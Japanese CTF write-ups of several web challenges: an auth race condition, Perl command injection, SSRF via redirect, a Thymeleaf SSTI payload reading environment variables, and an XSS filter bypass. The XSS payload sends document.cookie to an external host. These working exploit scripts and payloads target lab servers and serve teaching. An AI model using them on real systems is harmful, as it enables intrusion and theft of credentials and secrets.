このAPIが行っているチェックは次の通り。現在メッセージの書き込み中(つまり、ドラフトが作成されている)で、その書き込み先が同じチャットルームであり、そしてチャットルームに書き込み可能なユーザであること。最後の条件はおいておいて、ドラフト機能については認可周りの処理はどうなっているだろうか。

   st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
    if st.Err() != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no draft message %s", st.Err()))
        return
    }
    msg := st.Val()

    st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
    if st.Err() != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no written now %s", st.Err()))
        return
    }
    writtenNow := st.Val()
    if writtenNow != chatName {
        c.AbortWithStatus(403)
        c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
        return
    }
// …
    ok, _ := s.check_is_allowed(ctx, username, chatName)
    if !ok {
        c.AbortWithStatus(403)
        return
    }

ドラフトの作成処理を見に行く。なんと書き込もうとしている先のチャットルームに書き込む権限があるかを確認していない。best chat eva を含めて、あらゆるチャットルームにドラフトを残すことができる。

func (s *Service) SetDraft(c *gin.Context) {
    ctx := c.Request.Context()

    req := setDraftReq{}
    if err := c.BindJSON(&req); err != nil {
        slog.Error("parse", "err", err)
        c.AbortWithStatus(532)
        return
    }

    tok := c.Request.CookiesNamed(tokenCookie)
    if len(tok) != 1 {
        c.AbortWithStatus(403)
        return
    }
    token := tok[0].Value
    st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    username := st.Val()
    if username == "" {
        c.AbortWithStatus(403)
        return
    }

    s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)

    if req.Draft == "" {
        res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
            fmt.Sprintf(redis.WrittenNow, token))
        if res.Err() != nil {
            c.AbortWithStatus(500)
            return
        }

        c.JSON(200, setDraftResp{})
        return
    }

    pipe := s.red.TxPipeline()
    pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
    pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
    pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
    _, err := pipe.Exec(ctx)
    if err != nil {
        c.AbortWithStatus(500)
        c.Error(err)
        return
    }

    c.JSON(200, setDraftResp{})
}

ただ、やはり以下の check_is_allowed が邪魔に思われる。悩みつつもなんとなくClaudeに聞いてみたところ、この実装が怪しいと言い出した。いわく、ユーザ名が空であるときに、本来 false を返すべきところ、エラーとあわせてではあるものの true を返してしまっている。たしかにおかしい。

func (s *Service) check_is_allowed(ctx context.Context, name, chat string) (bool, error) {
    if name == "" {
        return true, errors.New("no name")
    }

    ch, err := s.chat.GetChat(ctx, chat)
    if err != nil {
        return false, err
    }

    return slices.Contains(ch.AllowedUsers, name), nil
}

メッセージの送信処理で同関数を呼び出している箇所は次の通り。なんとエラーが返ってきているかどうかは確認していない。

   ok, _ := s.check_is_allowed(ctx, username, chatName)
    if !ok {
        c.AbortWithStatus(403)
        return
    }

登録時にユーザ名が6文字以上であるかチェックされているので、空のユーザ名を登録するということはできないけれども、それ以外のタイミングでユーザ名が空であるようにさせられないか。たとえば、セッションIDに紐づいたユーザ名を空にできないか。

思いついたのはログアウト処理だった。これは次のようにセッションIDに紐づいたユーザ名等を削除する。削除対象にはドラフトも含まれているけれども、ユーザ名は削除されているが、ドラフトは削除されていないという状況(Race Condition)を作り出せないか。

func (s *Service) Logout(c *gin.Context) {
    ctx := c.Request.Context()

    tok := c.Request.CookiesNamed(tokenCookie)
    if len(tok) != 1 {
        c.AbortWithStatus(403)
        return
    }
    token := tok[0].Value
    st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    username := st.Val()
    if username == "" || st.Err() != nil {
        c.JSON(403, registerResp{})
        return
    }

    st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
    if st.Val() == "" || st.Err() != nil {
        s.red.Del(ctx, fmt.Sprintf(redis.SessionUsername, token))
        c.JSON(200, registerResp{})
        return
    }
    chat_name := st.Val()
    s.red.SRem(ctx, fmt.Sprintf(redis.ChatWriteList, chat_name), token)

    s.red.Del(ctx,
        fmt.Sprintf(redis.SessionUsername, token),
        fmt.Sprintf(redis.DraftMessage, token),
        fmt.Sprintf(redis.WrittenNow, token))

    c.JSON(200, registerResp{})
}

次のようなコードを用意した。ドラフトを作成してからログアウトし、すぐにメッセージを送信する。

import uuid
import httpx

u = str(uuid.uuid4())
p = str(uuid.uuid4())

c = 'best chat eva'
with httpx.Client(base_url='https://(省略)/') as client:
    client.post('/api/register', json={'login': u, 'password': p})
    client.post('/api/login', json={'login': u, 'password': p})
    client.post('/api/set_draft', json={"chat":c,"draft":"rrrr"})
    client.post('/api/logout')
    r = client.post('/api/send_message', json={"chat":c,"draft":"rrrr"})
    print(r, r.text)

一発ではうまくいかなかったが、何度か試すとフラグが得られた。

$ python3 s.py 
<Response [200 OK]> {"error":""}
<Response [200 OK]> {}
<Response [200 OK]> {}
<Response [200 OK]> {"error":""}
<Response [200 OK]> {"messages":[{"author":"admin","content":"SAS{1_dr15t3d_t00_f4r_th1s_t1m3}"},{"author":"","content":"KKKK"},{"author":"","content":"kekos"},{"author":"","content":"123"},{"author":"","content":"test"},{"author":"","content":"aaa"},{"author":"","content":"This is a draft message."},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"hi"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"awdawd"}],"users":null}
SAS{1_dr15t3d_t00_f4r_th1s_t1m3}

*1:合同チームというわけではなくて、実態はいつものBunkyoWesternsだった。好きで今回別のチーム名を名乗っていたわけではない

*2:確定ではなくて、たとえば我々より上の7チームが辞退すればもらえる

*3:ThinkPad X13 Gen 1。やや古いけど安かったので

*4:Ubuntu Desktop 24.04。みんな使っていて情報が得やすいので

*5:こういうアイデアが出るところに、自分の持つエスパーCTF耐性を感じて悲しくなる

TSG LIVE! 14 CTFのwriteup

5/24に2時間半という短さで開催された。チーム鰯鱪の𝔖𝔞𝔱𝔬𝔨𝔦として参加し、1位。いずれのWeb問もシンプルながら面白かった。perling_perlerとShortnmではsecond solve、iwi_deco_demoは苦手なJavaだったけれどもfirst bloodが取れてよかった。


[Web 205] perling_perler (20 solves)

(問題サーバのURL)

perl

添付ファイル: perling_perler.tar.gz

docker-compose.yml は次の通り。環境変数の FLAG にフラグが含まれているらしいが、ソースコードを検索しても見つからない。任意コード実行(RCE)かPath Traversalが必要そうだ。

services:
  web:
    build: .
    ports:
      - "41323:3000"
    environment:
      - FLAG="TSGLIVE{REDACTED}"

メインの app.pl は次の通り。なんとユーザ入力をOSコマンド中に展開してしまっている。ただし、&, ;, <, >, |, (, ), (半角スペース)が使えない。重要な文字ばかりだけれども、抜け道はいくらでもあるはずだ。

#!/usr/bin/env perl
use Dancer2;

set template => 'template_toolkit';

get '/' => sub {
    return template 'index';
};

post '/echo' => sub {
    my $str = body_parameters->get('str');
    unless (defined $str) {
        return "No input provided";
    }

    if ($str =~ /[&;<>|\(\)\$\ ]/) {
        return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
    };

    my $output = `echo $str`;

    return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};

start;

`printenv` で次のように環境変数が得られた。

HOSTNAME=27f06e778cd4 HOME=/home/appuser PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/app FLAG="TSGLIVE{5h3ll1ng_5h3ll3r}"
TSGLIVE{5h3ll1ng_5h3ll3r}

[Web 305] Shortnm (8 solves)

(問題サーバのURL)

URL短縮サービスを作りました。

添付ファイル: shortnm.tar.gz

docker-compose.yml は次の通り。flag という大変怪しげなサービスがあるので、このコードから読んでいこう。

services:
  app:
    build: .
    ports:
      - "32654:8000"
    depends_on:
      - redis
      - flag
    environment:
      - REDIS_HOST=redis

  redis:
    image: redis:7

  flag:
    build: ./flag
    expose:
      - "45654"

コードは次の通り。ホスト名やポート番号はちゃんと flag:45654 のままで /flag にアクセスすればフラグが得られるらしい。ただし、先程のYAMLを見ればわかるように、外部には公開されていない。内部の別のサービスからアクセスする必要がある。

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse

app = FastAPI()

@app.get("/flag")
async def get_flag(request: Request):
    host = request.headers.get("host", "")
    if host == "flag:45654" and request.url.port == 45654:
        return PlainTextResponse("TSGLIVE{REDACTED}")
    return PlainTextResponse("Access denied", status_code=403)

app のコードは次の通り。/shorten, /shortem, /shortenm という3つのエンドポイントが生えている。問題文の通り短縮URLを作成するけれども、後ろの方はリダイレクト先のプレビューというのかな、ができるらしい。何も考えずに http://flag:45654/flag をすべてのAPIに投げてみるが、不発。

from fastapi import FastAPI, Query, Request, Response
from fastapi.responses import RedirectResponse, HTMLResponse
from fastapi.templating import Jinja2Templates
import redis
import httpx
import string, random, os

app = FastAPI()
r = redis.Redis(host=os.getenv("REDIS_HOST", "localhost"), port=6379, decode_responses=True)
templates = Jinja2Templates(directory="templates")

def generate_id(length=12):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

@app.get("/", response_class=HTMLResponse)
async def index(request: Request):
    return templates.TemplateResponse("index.html", {"request": request})

@app.get("/shorten")
async def shorten(request: Request, url: str = Query(...), format: str = Query(None)):
    short_id = generate_id()
    r.set(short_id, url)
    
    base_url = str(request.base_url).rstrip("/")
    short_url = f"{base_url}/{short_id}"
    if (format == "json"):
        return {"shorturl": short_url}
    else:
        return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})

@app.get("/shortem")
async def shortem(request: Request, url: str = Query(...), format: str = Query(None)):
    short_id = generate_id()
    url = 'http://is.gd/create.php?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    base_url = str(request.base_url).rstrip("/")
    short_url = f"{base_url}/{short_id}"
    if (format == "json"):
        return {"shorturl": short_url}
    else:
        return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})

@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
    short_id = generate_id() 
    url = 'http://localhost:8000/shortem?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    short_id = generate_id() 
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)    
    return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))

@app.get("/{short_id}")
async def redirect(short_id: str):
    url = r.get(short_id)
    if url:
        return RedirectResponse(url)
    return HTMLResponse("URL not found", status_code=404)

よく見ると、httpx.AsyncClientfollow_redirects=True というオプションが渡っている。なるほど、リダイレクトがあればそれを追ってくれるらしい。これだ。

次のようなPHPコードをホストし、/shortnm に投げる。これでフラグが得られた。

<?php
header('Location: http://flag:45654/flag');
TSGLIVE{Cr3a71ng_7h3_SSRF_pr0bl3m_wa5_d1ff1cul7}

[Web 428] iwi_deco_demo (3 solves)

(問題サーバのURL)

JavaのWebアプリはSpring Bootで書くといいらしいです。

添付ファイル: iwi_deco_demo.tar.gz

docker-compose.yml は次の通り。また環境変数にフラグがある。ソースコード中で一切参照されていないので、RCEなりPath Traversalなりが必要だ。

services:
  app:
    restart: always
    build: .
    ports:
      - "8080:8080"
    environment:
      - FLAG="TSGLIVE{REDACTED}"

Javaのコードで特に重要なコントローラ部分は次の通り。変なことはしていないように思える。

package iwi.demo;

import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;

import org.apache.commons.lang3.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.ui.Model;
import org.springframework.stereotype.Controller;

@Controller
public class DemoController {
  @GetMapping("/")
  public String home() {
    return "iwi_form";
  }

  @PostMapping("/profile")
  public String showProfile(@RequestParam("userId") String userId, Model model) {
    model.addAttribute("userId", userId);
    return "iwi_profile";
  }

  @GetMapping("/user/{userId}/settings")
  public String userSettings(@PathVariable String userId, Model model) {
    String lastLogin = LocalDateTime.now()
        .format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
    model.addAttribute("userId", userId);
    model.addAttribute("accountType", "Free");
    model.addAttribute("lastLogin", lastLogin);
    model.addAttribute("email", userId + "@example.com");
    model.addAttribute("description", "Please update your email.");
    return "iwi_user";
  }

  @PostMapping("/user/{userId}/settings")
  public String updateSettings(@PathVariable String userId,
      @RequestParam String email,
      @RequestParam String description,
      Model model) {
    String lastLogin = LocalDateTime.now()
        .format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));

    if (StringUtils.isBlank(email)) {
      model.addAttribute("message", "Email must not be blank.");
      email = userId + "@example.com";
    }

    if (StringUtils.isBlank(description)) {
      model.addAttribute("message", "Description is required.");
      description = "Please update your email.";
    }

    model.addAttribute("userId", userId);
    model.addAttribute("accountType", "Free");
    model.addAttribute("lastLogin", lastLogin);

    model.addAttribute("email", email);
    model.addAttribute("description", description);
    model.addAttribute("message", "Updated your profile.");

    return "iwi_user";
  }
}

テンプレートのうち、最初にユーザ名を入力した際のHTMLの一部は次の通り。Thymeleafを使っているらしいけれども、@{'/user/__${userId}__/settings'} という形でユーザIDを展開している。userId はユーザが自由に操作できるから、Server-Side Template Injection(SSTI)ができそうだ。試しに '+7*7+' というユーザ名にしてみると、/user/49/settings とリンク先が変わった。SSTIできているっぽいが、どうすれば環境変数の取得に繋げられるだろう。

Thymeleafのことをよく知らなかったので調べてみる。__${expression}__ というのはプリプロセッシング式と呼ばれるらしく、いわく expression で参照される値を展開し、真っ先に評価するらしいということがドキュメントを読むとわかる。

<body>
  <h1>Hello, [[${userId}]]!</h1>
  <p>Click below to go to your settings:</p>
  <a th:href="@{'/user/__${userId}__/settings'}">Go to Settings</a>
</body>

環境変数を展開したい。まず ' + ${T(java.lang.System)} + ' を試してみるが、500が返ってきた。どういうことかと docker compose logs -f でログを参照してみると、org.thymeleaf.exceptions.TemplateProcessingException: Instantiation of new objects and access to static classes or parameters is forbidden in this context (template: "iwi_profile" - line 33, col 6) というエラーが発生していた。SSTIできているけれども、禁止されているクラスを参照しようとしていると怒られている。

このエラーメッセージに SSTI というキーワードを加えて検索する*1と、バイパス手法が紹介されている大変有用なブログ記事が見つかる。これをもとに以下のペイロードができあがった。

'+${"".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.System"),"getenv")}+'

これを投げると、次のように環境変数を含むレスポンスが返ってきた。フラグが得られた。ジャババババ。

<body>
  <h1>Hello, &#39;+${&quot;&quot;.class.forName(&quot;org.apache.commons.lang3.reflect.MethodUtils&quot;).invokeStaticMethod(&quot;&quot;.class.forName(&quot;java.lang.System&quot;),&quot;getenv&quot;)}+&#39;!</h1>
  <p>Click below to go to your settings:</p>
  <a href="/user/{LANGUAGE=en_US:en, PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, HOSTNAME=09054ec85cdc, LC_ALL=en_US.UTF-8, LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib, JAVA_HOME=/opt/java/openjdk, JAVA_VERSION=jdk-17.0.15+6, FLAG=&quot;TSGLIVE{5pr1ng_b007_5571_w17h_apach3_lang3_by_PARZEL}&quot;, LANG=en_US.UTF-8, HOME=/home/appuser}/settings">Go to Settings</a>
</body>
TSGLIVE{5pr1ng_b007_5571_w17h_apach3_lang3_by_PARZEL}

*1:どうせ誰かが同じことを試して苦しみ、その解決方法をまとめているはずだと考えた。まさか2時間半のCTFで頑張ってペイロードを組み立てる問題は出さないだろうと踏んだ

AlpacaHack Round 11 (Web) writeup

5/17に6時間だけ開催された。4問が出題されたうち、2問を問いて6位。残りのTiny NoteとAlpacaMarkも解きたかったなあ。


[Web 122] Jackpot (63 solves)

🎰 Slot Machine 🎰

(問題サーバのURL)

添付ファイル: jackpot.tar.gz

与えられたURLにアクセスすると、次のようなスロットマシンが表示される。下部になぜか数字を入力できるフォームもある。

コードは次の通り。シンプルだ。フォームで入力した数字のリストからランダムに15個選ばれ(重複あり)、ここで 7 が15個揃うとフラグがもらえるらしい。さすがに運だけでは無理だ。

数字のリストについては、以下の通りの制約がある。これらのチェックが済み次第、int で文字から数値に変換される。じゃあなんで 0123456789 で決め打ちにしていないんですか? と思ってしまう。

  • すべて数字でなければならない
  • 10種類以上の文字が含まれていなければならない
  • 文字に重複があってはならない
  • 最初の10文字より後ろは無視される
from flask import Flask, request, render_template, jsonify
from werkzeug.exceptions import BadRequest, HTTPException
import os, re, random, json

app = Flask(__name__)
FLAG = os.getenv("FLAG", "Alpaca{dummy}")


def validate(value: str | None) -> list[int]:
    if value is None:
        raise BadRequest("Missing parameter")
    if not re.fullmatch(r"\d+", value):
        raise BadRequest("Not decimal digits")
    if len(value) < 10:
        raise BadRequest("Too little candidates")

    candidates = list(value)[:10]
    if len(candidates) != len(set(candidates)):
        raise BadRequest("Not unique")

    return [int(x) for x in candidates]


@app.get("/")
def index():
    return render_template("index.html")


@app.get("/slot")
def slot():
    candidates = validate(request.args.get("candidates"))

    num = 15
    results = random.choices(candidates, k=num)

    is_jackpot = results == [7] * num  # 777777777777777

    return jsonify(
        {
            "code": 200,
            "results": results,
            "isJackpot": is_jackpot,
            "flag": FLAG if is_jackpot else None,
        }
    )


@app.errorhandler(HTTPException)
def handle_exception(e):
    response = e.get_response()
    response.data = json.dumps({"code": e.code, "description": e.description})
    response.content_type = "application/json"
    return response


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

最近、といっても去年の話だけれども、Pythonの isnumeric の挙動が話題になっていたなあと思い出す。\d にマッチし、また int に渡されると 7 となるような文字が10個ぐらいないだろうか。次のスクリプトで探そう。

s = ''
for c in range(0x100000):
    a = chr(c)
    try:
        if int(a) == 7:
            s += a
            if len(s) == 10:
                break
    except:
        pass
print(s)

実行すると、次のような文字列が出てきた。いっぱいあるなあ。

$ python3 s.py 
7٧۷߇७৭੭૭୭௭

これを入力するとフラグが得られた。

[Web 341] Redirector (6 solves)

It's just a redirector.

(問題サーバとadmin botのURL)

添付ファイル: redirector.tar.gz

admin botもいるあたり、たぶんXSSのようなクライアント側の攻撃を必要とするのだろうなあと考える。このアプリは非常にシンプルで、次のようにURLを入力するフォームがあり、これを送信すると /?next=https://example.com のようなURLにリダイレクトされる。そこからさらに https://example.com へリダイレクトされるというような流れだ。

admin botのコードで重要な箇所は次の通り。ユーザが通報したURLを見に行くだけだ。また、問題サーバのドメインで FLAG というCookieを保存している。httpOnly は設定されていないので、JSから document.cookie にアクセスするとフラグが得られるはずだ。

    await context.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 5_000 });
    await sleep(5_000);
    await page.close();

フロントエンドのコードは非常にシンプルとなっている。重要な箇所は次の通り。next というクエリパラメータがあればそこにリダイレクトしてくれる。ただし、次のようなチェックがある。スキームのチェックはないので javascript:alert(123) のようなことができるけれども、これらのチェックのおかげで document.cookie を外部に持ち出すコードの実行は難しい。

  1. パス、クエリパラメータ、フラグメント識別子がいずれも(1文字目を除いて)英数字またはカッコのみから構成されている
  2. location, name, cookie, eval, Function, constructor, % がURLに含まれていない

1個目のチェックはホスト名やユーザ名等にJSコードを仕込めばよいのではと思ってしまうが、URL にそれらのパーツとして認識してもらうには http://a:b@example.com のように // を使わなければならない。JSでは // はコメントを意味するので、それ以降の肝心の部分がコメントアウトされてしまい困る*1

2個目のチェックは、eval(name) のようなstager的なコードが使えないよう塞いでいるのだろう。

(() => {
  const next = new URLSearchParams(location.search).get("next");
  if (!next) return;

  const url = new URL(next, location.origin);
  const parts = [url.pathname, url.search, url.hash];

  if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) {
    alert("Invalid URL 1");
    return;
  }
  if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) {
    alert("Invalid URL 2");
    return;
  }

  location.href = url;
})();

ならば正面から突破しよう。英数字とカッコでJSを書くというお題で思い出したのは、昔Harekaze CTF 2019で出題した[a-z().] だった。terjanqさんがこれをもとにJS-Alphaというコードを書いてくれて、これはなんと英小文字と .() だけでJSの任意のコードを実行できるようにしてくれる。

適当なコードを変換すると、with(escape())eval(unescape(match().concat(…))) のように、with 文や String.prototype.concat を駆使して任意の文字列を生成していることがわかる。. は、数字が禁止されているので仕方なく適当な文字列のメソッドを呼び、その length を参照するということをするために使っているだけだから、今回の問題ではそれらを普通の数値に置き換えてやればよい。

文字列同士の結合に concat を使っており、ここでも . を使っているけれども、それは with(String)with(String())with(concat(fromCharCode(0x41)))concat(fromCharCode(0x42)) のように with を連続で使ってやれば置き換えられる。

あとは eval をどうやって実現するかだ。innerHTML 相当のことができればよいのではないかと考え、DocumentFragment を作成する方法として document.createRange().createContextualFragment を思いつく*2

ということで、これらをまとめてJSコードを変換してくれるようなコードを書く。

payload = '''
<img src=x onerror="location.href='http://example.com/?' + document.cookie">
'''.strip()
encoded = 'with(String)with(fromCharCode())'
for c in payload[:-1]:
    encoded += 'with(concat(fromCharCode(' + str(ord(c)) + ')))'
encoded += 'createContextualFragment(concat(fromCharCode(' + str(ord(payload[-1])) + ')))'
print('http://redirector:3000?next=javascript:' + '''with(document)with(createRange())''' + encoded)

出力されたURLを通報すると、フラグが得られた。

*1:なお、maple3142さんはU+2028をその直後に仕込むことで回避していた。私も試していたはずなんだけどな~と思ったが、よくよく考えると私が試していたのはU+2027だった。なんでやねん

*2:もっとストレートな解法としてsetTimeoutやsetIntervalがあった